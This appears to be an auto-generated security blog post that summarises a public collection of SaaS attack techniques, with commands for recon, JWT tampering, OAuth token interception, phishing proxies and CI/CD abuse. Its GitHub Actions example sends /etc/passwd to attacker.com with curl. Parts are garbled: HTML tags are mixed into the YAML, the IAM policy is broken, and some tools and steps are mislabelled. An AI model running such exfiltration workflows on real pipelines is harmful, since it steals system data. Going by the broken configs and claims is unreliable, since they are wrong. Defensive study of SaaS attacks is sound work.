Offensive SaaS Attack Techniques for Defensive Security

GitHub – pushsecurity/saas-attacks: Offensive security drives defensive security. We’re sharing a collection of SaaS attack techniques to help defenders understand the threats they face.
GitHub – pushsecurity/saas-attacks

You Should Know:

Understanding SaaS (Software-as-a-Service) attack techniques is crucial for both offensive and defensive security teams. Below are key commands, tools, and methodologies to explore SaaS security threats.

1. Reconnaissance & Enumeration

• Use Burp Suite or OWASP ZAP to intercept SaaS API requests:

  zap.sh -cmd -quickurl https://target-saas.com/api -quickout report.html
  

• Enumerate exposed SaaS endpoints with ffuf:

  ffuf -w wordlist.txt -u https://target-saas.com/FUZZ -mc 200
  

2. Exploiting Misconfigured Permissions

• Check for overly permissive JWT tokens using jwt_tool:

  python3 jwt_tool.py <JWT_TOKEN> -X a -pc email -pv [email protected]
  

• Test SAML misconfigurations with SAML Raider (Burp Extension).

3. Bypassing Authentication

• OAuth Token Hijacking: Capture tokens via phishing or MITM.

  mitmproxy -p 8080 --mode transparent
  

• Brute-Force MFA using Modlishka:

  ./modlishka -config config.json
  

4. Post-Exploitation in SaaS Environments

• Exfiltrate data via AWS S3 misconfigurations:

  aws s3 ls s3://vulnerable-bucket --no-sign-request
  

• Abuse CI/CD Pipelines in GitHub Actions:

  Malicious workflow example
  on: push 
  jobs: 
  exfil: 
  runs-on: ubuntu-latest 
  steps: </li>
  <li>run: curl https://attacker.com/?leak=$(cat /etc/passwd)
  

5. Defensive Countermeasures

• Monitor SaaS logs using Splunk or ELK Stack:

  grep "unauthorized" /var/log/saas-app.log
  

• Enforce Role-Based Access Control (RBAC):

  AWS IAM policy example 
  {
  "Version": "2012-10-17",
  "Statement": [{
  "Effect": "Deny",
  "Action": "s3:",
  "Resource": "",
  "Condition": {"NotIpAddress": {"aws:SourceIp": ["192.0.2.0/24"]}}
  }]
  }
  

What Undercode Say:

SaaS security requires a balance of offensive testing and defensive hardening. Red teams must simulate real-world attacks (OAuth abuse, SSO flaws, API leaks), while blue teams should enforce strict access controls, log monitoring, and regular pentests. Tools like Burp Suite, jwt_tool, and Modlishka are essential for uncovering vulnerabilities before adversaries do.

Expected Output:

• SaaS attack techniques documented in pushsecurity/saas-attacks.
• Commands for reconnaissance, exploitation, and defense.
• Emphasis on JWT, OAuth, and CI/CD security.

References:

Reported By: Florian Hansemann – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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